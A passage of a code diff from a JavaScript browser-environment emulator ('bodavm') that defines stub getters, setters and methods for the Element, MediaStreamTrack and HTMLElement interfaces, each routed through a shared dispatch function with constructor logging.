bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRowSpan", { + configurable: true, + enumerable: true, + get: function ariaRowSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowSpan_get", arguments); + }, + set: function ariaRowSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowSpan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaSelected", { + configurable: true, + enumerable: true, + get: function ariaSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSelected_get", arguments); + }, + set: function ariaSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSelected_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaSetSize", { + configurable: true, + enumerable: true, + get: function ariaSetSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSetSize_get", arguments); + }, + set: function ariaSetSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSetSize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaSort", { + configurable: true, + enumerable: true, + get: function ariaSort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSort_get", arguments); + }, + set: function ariaSort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaValueMax", { + configurable: true, + enumerable: true, + get: function ariaValueMax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMax_get", arguments); + }, + set: function ariaValueMax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMax_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaValueMin", { + configurable: true, + enumerable: true, + get: function ariaValueMin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMin_get", arguments); + }, + set: function ariaValueMin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaValueNow", { + configurable: true, + enumerable: true, + get: function ariaValueNow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueNow_get", arguments); + }, + set: function ariaValueNow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueNow_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaValueText", { + configurable: true, + enumerable: true, + get: function ariaValueText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueText_get", arguments); + }, + set: function ariaValueText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "children", { + configurable: true, + enumerable: true, + get: function children() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "children_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "firstElementChild", { + configurable: true, + enumerable: true, + get: function firstElementChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "firstElementChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "lastElementChild", { + configurable: true, + enumerable: true, + get: function lastElementChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "lastElementChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "childElementCount", { + configurable: true, + enumerable: true, + get: function childElementCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "childElementCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "previousElementSibling", { + configurable: true, + enumerable: true, + get: function previousElementSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "previousElementSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "nextElementSibling", { + configurable: true, + enumerable: true, + get: function nextElementSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "nextElementSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "after", { + configurable: true, + enumerable: true, + writable: true, + value: function after() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "after", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "animate", { + configurable: true, + enumerable: true, + writable: true, + value: function animate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "animate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "append", { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "append", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "attachShadow", { + configurable: true, + enumerable: true, + writable: true, + value: function attachShadow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "attachShadow", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "before", { + configurable: true, + enumerable: true, + writable: true, + value: function before() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "before", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "closest", { + configurable: true, + enumerable: true, + writable: true, + value: function closest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "closest", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "computedStyleMap", { + configurable: true, + enumerable: true, + writable: true, + value: function computedStyleMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "computedStyleMap", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttribute", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttribute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttribute", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttributeNS", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttributeNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttributeNames", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttributeNames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNames", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttributeNode", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttributeNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttributeNodeNS", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttributeNodeNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNodeNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getBoundingClientRect", { + configurable: true, + enumerable: true, + writable: true, + value: function getBoundingClientRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getBoundingClientRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getClientRects", { + configurable: true, + enumerable: true, + writable: true, + value: function getClientRects() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getClientRects", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getElementsByClassName", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementsByClassName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByClassName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getElementsByTagName", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementsByTagName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByTagName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getElementsByTagNameNS", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementsByTagNameNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByTagNameNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getInnerHTML", { + configurable: true, + enumerable: true, + writable: true, + value: function getInnerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getInnerHTML", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "hasAttribute", { + configurable: true, + enumerable: true, + writable: true, + value: function hasAttribute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttribute", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "hasAttributeNS", { + configurable: true, + enumerable: true, + writable: true, + value: function hasAttributeNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttributeNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "hasAttributes", { + configurable: true, + enumerable: true, + writable: true, + value: function hasAttributes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttributes", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "hasPointerCapture", { + configurable: true, + enumerable: true, + writable: true, + value: function hasPointerCapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasPointerCapture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "insertAdjacentElement", { + configurable: true, + enumerable: true, + writable: true, + value: function insertAdjacentElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentElement", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "insertAdjacentHTML", { + configurable: true, + enumerable: true, + writable: true, + value: function insertAdjacentHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentHTML", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "insertAdjacentText", { + configurable: true, + enumerable: true, + writable: true, + value: function insertAdjacentText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "matches", { + configurable: true, + enumerable: true, + writable: true, + value: function matches() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "matches", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "prepend", { + configurable: true, + enumerable: true, + writable: true, + value: function prepend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "prepend", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "querySelector", { + configurable: true, + enumerable: true, + writable: true, + value: function querySelector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "querySelector", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "querySelectorAll", { + configurable: true, + enumerable: true, + writable: true, + value: function querySelectorAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "querySelectorAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "releasePointerCapture", { + configurable: true, + enumerable: true, + writable: true, + value: function releasePointerCapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "releasePointerCapture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "remove", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "removeAttribute", { + configurable: true, + enumerable: true, + writable: true, + value: function removeAttribute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttribute", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "removeAttributeNS", { + configurable: true, + enumerable: true, + writable: true, + value: function removeAttributeNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttributeNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "removeAttributeNode", { + configurable: true, + enumerable: true, + writable: true, + value: function removeAttributeNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttributeNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "replaceChildren", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceChildren() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "replaceChildren", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "replaceWith", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceWith() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "replaceWith", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "requestFullscreen", { + configurable: true, + enumerable: true, + writable: true, + value: function requestFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "requestFullscreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "requestPointerLock", { + configurable: true, + enumerable: true, + writable: true, + value: function requestPointerLock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "requestPointerLock", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scroll", { + configurable: true, + enumerable: true, + writable: true, + value: function scroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scroll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollBy", { + configurable: true, + enumerable: true, + writable: true, + value: function scrollBy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollBy", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollIntoView", { + configurable: true, + enumerable: true, + writable: true, + value: function scrollIntoView() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollIntoView", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollIntoViewIfNeeded", { + configurable: true, + enumerable: true, + writable: true, + value: function scrollIntoViewIfNeeded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollIntoViewIfNeeded", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollTo", { + configurable: true, + enumerable: true, + writable: true, + value: function scrollTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setAttribute", { + configurable: true, + enumerable: true, + writable: true, + value: function setAttribute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttribute", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setAttributeNS", { + configurable: true, + enumerable: true, + writable: true, + value: function setAttributeNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setAttributeNode", { + configurable: true, + enumerable: true, + writable: true, + value: function setAttributeNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setAttributeNodeNS", { + configurable: true, + enumerable: true, + writable: true, + value: function setAttributeNodeNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNodeNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setPointerCapture", { + configurable: true, + enumerable: true, + writable: true, + value: function setPointerCapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setPointerCapture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "toggleAttribute", { + configurable: true, + enumerable: true, + writable: true, + value: function toggleAttribute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "toggleAttribute", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "webkitMatchesSelector", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitMatchesSelector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitMatchesSelector", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "webkitRequestFullScreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitRequestFullScreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitRequestFullScreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "webkitRequestFullscreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitRequestFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitRequestFullscreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "checkVisibility", { + configurable: true, + enumerable: true, + writable: true, + value: function checkVisibility() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "checkVisibility", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAnimations", { + configurable: true, + enumerable: true, + writable: true, + value: function getAnimations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAnimations", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setHTML", { + configurable: true, + enumerable: true, + writable: true, + value: function setHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setHTML", arguments); + } +}, 'prototype'); +// MediaStreamTrack对象 + +bodavm.memory.globalobj['MediaStreamTrack'] = function MediaStreamTrack() { + console.log_copy('MediaStreamTrack 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaStreamTrack)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrack'], "MediaStreamTrack"); +bodavm.memory.globalobj['MediaStreamTrack'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaStreamTrack'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "kind", { + configurable: true, + enumerable: true, + get: function kind() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "kind_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "label_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "enabled", { + configurable: true, + enumerable: true, + get: function enabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "enabled_get", arguments); + }, + set: function enabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "enabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "muted", { + configurable: true, + enumerable: true, + get: function muted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "muted_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "onmute", { + configurable: true, + enumerable: true, + get: function onmute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onmute_get", arguments); + }, + set: function onmute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onmute_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "onunmute", { + configurable: true, + enumerable: true, + get: function onunmute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onunmute_get", arguments); + }, + set: function onunmute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onunmute_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "onended", { + configurable: true, + enumerable: true, + get: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onended_get", arguments); + }, + set: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onended_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "contentHint", { + configurable: true, + enumerable: true, + get: function contentHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "contentHint_get", arguments); + }, + set: function contentHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "contentHint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "applyConstraints", { + configurable: true, + enumerable: true, + writable: true, + value: function applyConstraints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "applyConstraints", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "clone", { + configurable: true, + enumerable: true, + writable: true, + value: function clone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "clone", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getCapabilities", { + configurable: true, + enumerable: true, + writable: true, + value: function getCapabilities() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getCapabilities", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getConstraints", { + configurable: true, + enumerable: true, + writable: true, + value: function getConstraints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getConstraints", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getSettings", { + configurable: true, + enumerable: true, + writable: true, + value: function getSettings() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getSettings", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "stop", { + configurable: true, + enumerable: true, + writable: true, + value: function stop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "stop", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "oncapturehandlechange", { + configurable: true, + enumerable: true, + get: function oncapturehandlechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "oncapturehandlechange_get", arguments); + }, + set: function oncapturehandlechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "oncapturehandlechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getCaptureHandle", { + configurable: true, + enumerable: true, + writable: true, + value: function getCaptureHandle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getCaptureHandle", arguments); + } +}, 'prototype'); +// HTMLElement对象 + +bodavm.memory.globalobj['HTMLElement'] = function HTMLElement() { + console.log_copy('HTMLElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLElement'], "HTMLElement"); +bodavm.memory.globalobj['HTMLElement'].prototype.__proto__ = bodavm.memory.globalobj['Element'].prototype; +bodavm.memory.globalobj['HTMLElement'].__proto__ = bodavm.memory.globalobj['Element']; +bodavm.toolsFunc.defineProperty('HTMLElement', "title", { + configurable: true, + enumerable: true, + get: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "title_get", arguments); + }, + set: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "title_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "lang", { + configurable: true, + enumerable: true, + get: function lang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "lang_get", arguments); + }, + set: function lang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "lang_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "translate", { + configurable: true, + enumerable: true, + get: function translate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "translate_get", arguments); + }, + set: function translate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "translate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "dir", { + configurable: true, + enumerable: true, + get: function dir() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dir_get", arguments); + }, + set: function dir() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dir_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "hidden", { + configurable: true, + enumerable: true, + get: function hidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "hidden_get", arguments); + }, + set: function hidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "hidden_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "accessKey", { + configurable: true, + enumerable: true, + get: function accessKey() { + return bodavm.toolsFunc.dispatch(this, 